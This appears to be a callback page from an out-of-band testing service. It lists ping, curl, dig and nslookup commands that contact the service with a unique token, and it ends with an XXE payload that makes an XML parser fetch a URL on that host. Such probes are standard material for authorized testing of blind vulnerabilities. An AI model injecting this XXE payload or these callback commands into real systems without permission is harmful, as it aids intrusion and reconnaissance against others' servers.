$ ping -c1 -p 00609f1a663acf1c8013bd3c0eaa6300 unhack.ca
 

$ curl http://unhack.ca/p/609f1a663acf1c8013bd3c0eaa63
 

$ dig 609f1a663acf1c8013bd3c0eaa63 @unhack.ca
 

$ dig 609f1a663acf1c8013bd3c0eaa63.ns.unhack.ca
 

C:\> nslookup 609f1a663acf1c8013bd3c0eaa63 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/609f1a663acf1c8013bd3c0eaa63">]>
    <foo>&xxe;</foo>